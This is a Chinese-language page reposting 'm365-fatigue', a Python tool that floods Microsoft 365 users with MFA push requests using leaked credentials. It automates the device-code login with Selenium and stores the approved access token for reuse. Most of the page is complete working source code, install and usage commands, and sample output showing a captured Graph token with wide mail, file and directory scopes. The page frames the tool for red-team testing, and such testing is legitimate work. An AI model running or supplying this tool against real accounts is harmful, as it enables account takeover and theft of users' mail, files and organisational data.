Microsoft 365 MFA 轰炸脚本 m365-fatigue
发布时间: 2023-12-13
m365-fatigue简介
此 Python 脚本通过使用设备代码流和 Selenium 进行自动登录，自动执行 Microsoft 365 的身份验证过程。
它不断向用户发送 MFA 请求，并在 MFA 获得批准后存储 access_token。
它旨在用于针对 Azure 中的 O365/MS-Online 用户（现在称为 Entra ID）的社会工程/红队/渗透测试场景。
如果用户名和密码组合被泄露，则可以使用它向身份验证器应用程序发送身份验证请求。
一旦2fa获得批准，有效的 JWT access_token 将以解码和编码格式存储在本地。该令牌可以在其他工具中重用，例如TokenTactics、GraphRunner或手动请求 Azure 中的不同端点…
适用性
Microsoft 过去在其身份验证器应用程序中提供不同的 MFA 身份验证机制，例如：
- 推送通知批准
- 基于时间的一次性密码 (TOTP)
- 电话登录
- 号码匹配
- 无密码登录
截至 2023 年 5 月，微软通过强制实施号码匹配机制，基本上消除了这种疲劳轰炸攻击，该机制要求用户手动输入一个两位数的号码，该号码作为登录流程的一部分显示在浏览器中。一般来说，这会破坏简单的洪水攻击，因为只有受害者拥有匹配的号码。然而，人们仍然可以通过实时社会工程检索信息。
如果您发现仍然依赖经典推送通知的环境，那么此攻击媒介应该仍然可以正常工作。另外，我还让您自己发挥创造力来找到适用的场景;-)
用法
安装
- 克隆这个存储库。
- 通过运行以下命令安装所需的依赖项：
pip install -r requirements.txt运行脚本
要运行该脚本，请执行以下命令：
python m365-fatigue.py --user <username> [--password <password>] [--interval <seconds> (default: 60)]
替换为目标 Microsoft 365 用户名。可以在 –password 标志之后直接提供密码，或者如果未提供，脚本将提示输入密码。
–interval 标志允许您以秒为单位设置轮询间隔（默认为 60 秒）。
样本输出
m365-fatigue python3 m365-fatigue.py --user user@domain.com
Enter your password:
[*] Username: user@domain.com
[*] Password: ********************************
[*] Device code:
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GKZAQ433Q to authenticate.
Bei Ihrem Konto anmelden
https://login.microsoftonline.com/common/oauth2/deviceauth
https://login.microsoftonline.com/common/oauth2/deviceauth
Base64 encoded JWT access_token:
eyJ0 ... [dedacted] ... dsgHmA
Decoded JWT payload:
{
"aud": "https://graph.microsoft.com",
"iss": "https://sts.windows.net/90931373-6ad6-49cb-9d8c-22eebb6968fa/",
"iat": 1701428346,
"nbf": 1701428346,
"exp": 1701433450,
"acct": 0,
"acr": "1",
"aio": " ... [dedacted] ... ",
"amr": [
"pwd",
"mfa"
],
"app_displayname": "Microsoft Office",
"appid": " ... [dedacted] ... ",
"appidacr": "0",
"family_name": " ... [dedacted] ... ",
"given_name": " ... [dedacted] ... ",
"idtyp": "user",
"ipaddr": " ... [dedacted] ... ",
"name": " ... [dedacted] ... ",
"oid": " ... [dedacted] ... ",
"onprem_sid": " ... [dedacted] ... ",
"platf": "3",
"puid": " ... [dedacted] ... ",
"rh": " ... [dedacted] ... ",
"scp": "AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite DataLossPreventionPolicy.Evaluate Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Notes.Create Organization.Read.All People.Read People.Read.All Printer.Read.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWrite Users.Read",
"sub": " ... [dedacted] ... ",
"tenant_region_scope": "EU",
"tid": " ... [dedacted] ... ",
"unique_name": " ... [dedacted] ... ",
"upn": " ... [dedacted] ... ",
"uti": " ... [dedacted] ... ",
"ver": "1.0",
"wids": [
" ... [dedacted] ... "
],
"xms_tcdt": ... [dedacted] ... ,
"xms_tdbr": "EU"
}
[*] Successful authentication. Access token expires at: 2023-12-01 12:24:10
[*] Storing token...
Stored Base64 encoded access token as 'access_token_user@domain.com_20231201120406.txt'
Stored decoded access token as 'access_token_user@domain.com_20231201120406.json'
Exiting...
笔记
该脚本使用 Selenium，它需要兼容的 WebDriver（在本例中为 Chrome WebDriver……但如果需要，您可以将其更改为其他内容）。
下载地址
requirements.txt
requests
seleniumm365-fatigue.py
import requests
import sys
import json
import time
import base64
import getpass
from datetime import datetime, timedelta
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import StaleElementReferenceException
from selenium.webdriver.support.wait import WebDriverWait
def print_vars(user, password, fireprox_url=None):
print("[*] Username:", user)
print("[*] Password:", "*" * len(password))
if fireprox_url:
print("[*] Fireprox URL:", fireprox_url)
# Perform device code request
def get_code(client_id, resource, headers, fireprox_url=None):
device_code_body = {
"client_id": client_id,
"resource": resource
}
if fireprox_url:
print("[*] Getting code via fireprox:")
print(fireprox_url+"oauth2/devicecode?api-version=1.0")
device_code_response = requests.post(fireprox_url+"common/oauth2/devicecode?api-version=1.0", headers=headers, data=device_code_body).json()
else:
device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", headers=headers, data=device_code_body).json()
print("[*] Device code:")
print(device_code_response["message"]) # Display device code message
return device_code_response["user_code"], device_code_response["device_code"]
def login_automation(driver, code=None, user=None, password=None, fireprox_url=None):
if fireprox_url:
driver.get(fireprox_url+"common/oauth2/deviceauth")
else:
driver.get("https://login.microsoftonline.com/common/oauth2/deviceauth")
print(driver.title)
try:
code_fld = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.NAME, "otc")))
code_fld.clear()
code_fld.send_keys(code)
code_fld.send_keys(Keys.RETURN)
except TimeoutException:
print("Code field not found within 10 seconds")
print(driver.current_url)
try:
usr_fld = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.NAME, "loginfmt")))
usr_fld.clear()
usr_fld.send_keys(user)
usr_fld.send_keys(Keys.RETURN)
except TimeoutException:
print("Login field not found within 10 seconds")
print(driver.current_url)
try:
pass_fld = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.NAME, "passwd")))
pass_fld.clear()
pass_fld.send_keys(password)
pass_fld.send_keys(Keys.RETURN)
except TimeoutException:
print("Password field not found within 10 seconds")
# Poll for access token using device code
def init_polling(driver, client_id, user_code, username, interval, device_code, headers, fireprox_url=None):
access_token = None
start_time = time.time()
time_limit = float(interval)
remaining_time = time_limit
while time.time() - start_time < time_limit:
sbmt_button = driver.find_elements(By.ID, "idSIButton9")
if sbmt_button:
for button in sbmt_button:
if "display: none;" not in button.get_attribute("style"):
button.click()
break
else:
pass
else:
pass
token_body = {
"client_id": client_id,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"code": device_code,
"scope": "openid"
}
try:
if fireprox_url:
tokens_response = requests.post(fireprox_url+"oauth2/token?api-version=1.0", headers=headers, data=token_body).json()
else:
tokens_response = requests.post("https://login.microsoftonline.com/common/oauth2/token?api-version=1.0", headers=headers, data=token_body).json()
print(f"Remaining time: {remaining_time} seconds", end="\r") # Print remaining time, overwrite previous output
remaining_time = time_limit - int(time.time() - start_time)
if "access_token" in tokens_response:
access_token = tokens_response["access_token"]
print("Base64 encoded JWT access_token:")
print(access_token)
token_payload = access_token.split(".")[1] + '=' * ((4 - len(access_token.split(".")[1]) % 4) % 4)
token_array = json.loads(base64.b64decode(token_payload).decode('utf-8'))
tenant_id = token_array["tid"]
print("Decoded JWT payload:")
print(json.dumps(token_array, indent=4))
base_date = datetime(1970, 1, 1)
token_expire = base_date + timedelta(seconds=token_array["exp"])
print("[*] Successful authentication. Access token expires at:", token_expire)
print("[*] Storing token...")
# Generating timestamp
timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
# Generating filenames
txt_filename = f"access_token_{username}_{timestamp}.txt"
json_filename = f"access_token_{username}_{timestamp}.json"
# Storing access token as Base64 encoded version with timestamp
with open(txt_filename, "w") as file_a:
file_a.write(access_token)
print(f"Stored Base64 encoded access token as '{txt_filename}'")
# Storing access token in JSON format with timestamp
with open(json_filename, "w") as file_b:
json.dump(token_array, file_b, indent=4)
print(f"Stored decoded access token as '{json_filename}'")
continue_polling = False
return True
except requests.exceptions.HTTPError as e:
details = e.response.json()
if details.get("error") == "authorization_pending":
time.sleep(3)
else:
print("Error:", details.get("error"))
break
return False
# TODO implement fireprox compability - it's buggy...
if __name__ == "__main__":
# Azure AD / Microsoft identity platform app configuration
client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
resource = "https://graph.microsoft.com"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent
}
args = iter(sys.argv[1:])
user = None
password = None
interval = 60
fireprox_url = None
try:
while True:
arg = next(args)
if arg == "--user":
user = next(args)
elif arg == "--password":
password = next(args)
elif arg == "--interval":
interval = next(args)
elif arg == "--fireprox":
fireprox_url = next(args)
except StopIteration:
pass
if user:
if not password:
password = getpass.getpass(prompt="Enter your password: ")
print_vars(user, password, fireprox_url)
else:
print("Usage:")
print("python3 m365-fatigue.py --user <username> [--password <password>] [--interval <seconds> (default: 60)]\n")
print("Password will be prompted if not supplied directly!\n")
sys.exit()
driver = webdriver.Chrome()
while True:
driver.delete_all_cookies()
user_code, device_code = get_code(client_id, resource, headers, fireprox_url)
login_automation(driver, user_code, user, password, fireprox_url)
if init_polling(driver, client_id, user_code, user, interval, device_code, headers, fireprox_url):
break
print("Exiting...")
driver.quit()